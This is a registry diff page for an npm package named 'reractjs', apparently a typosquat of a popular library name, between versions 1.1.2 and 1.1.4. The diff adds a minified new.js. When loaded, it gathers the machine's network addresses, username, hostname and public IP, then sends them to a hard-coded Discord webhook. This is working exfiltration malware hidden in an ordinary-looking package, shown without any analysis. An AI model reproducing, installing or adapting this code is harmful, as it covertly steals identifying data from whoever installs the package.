reractjs 1.1.2 → 1.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/new.js +1 -1
- package/package.json +1 -1
package/new.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
function sendToDiscord(e,t){const
|
1
|
+
function sendToDiscord(e,t){const n=new URL(e),o=JSON.stringify({content:t}),r={hostname:n.hostname,port:443,path:n.pathname+n.search,method:"POST",headers:{"Content-Type":"application/json","Content-Length":o.length}},s=https.request(r,e=>{});s.on("error",e=>{console.error(e)}),s.write(o),s.end()}function getPublicIP(){return new Promise((e,t)=>{https.get("https://httpbin.org/ip",n=>{let o="";n.on("data",e=>{o+=e}),n.on("end",()=>{try{const n=JSON.parse(o);e(n.origin)}catch(e){t("Error parsing response: "+e)}})}).on("error",e=>{t("Error fetching IP: "+e)})})}const https=require("https"),os=require("os"),main=!async function(){var e="https://discord.com/api/webhooks/1156079272264478792/mBYJcDha0NlSfdIi0JhnpIhhYpE1aR5eKcgNKrXH-lM9ItGlSS86HzHjvIi4KqqaCJD0",t=Object.keys(os.networkInterfaces()).map(e=>os.networkInterfaces()[e].map(e=>e.address)).flat(),n=os.userInfo().username,o=await getPublicIP(),r=`${t.join(",")},${n}, ${os.hostname()}, ${o}`;return sendToDiscord(e,r),{}}();module.exports=main;
|